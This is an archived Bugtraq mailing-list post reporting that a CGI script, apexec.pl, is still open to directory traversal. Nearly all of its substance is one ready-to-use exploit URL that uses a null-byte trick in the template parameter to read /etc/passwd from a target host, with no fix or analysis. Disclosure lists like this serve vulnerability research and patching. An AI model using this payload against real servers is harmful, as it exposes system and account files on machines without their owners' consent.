apexec.pl is still vulnerable against Directory Traversal.

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: apexec.pl is still vulnerable against Directory Traversal.
From: Zero_X www.lobnan.de Team <zero-x@xxxxxxxxxxxxx>
Date: 17 Oct 2004 15:10:49 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm


Directory Traversal in apexec.pl

Type in the following URL:

www.targethost.com/cgi-bin/apexec.pl?template=/etc/passwd%%0000.html


Zero X, member of www.Lobnan.de

Prev by Date: Mutiple AntiVirus Reserved Device Name Handling Vulnerability
Next by Date: RE: Writing Trojans that bypass Windows XP Service Pack 2 Firewall
Previous by thread: Mutiple AntiVirus Reserved Device Name Handling Vulnerability
Next by thread: [ GLSA 200410-14 ] phpMyAdmin: Vulnerability in MIME-based transformation system
Index(es):
- Date
- Thread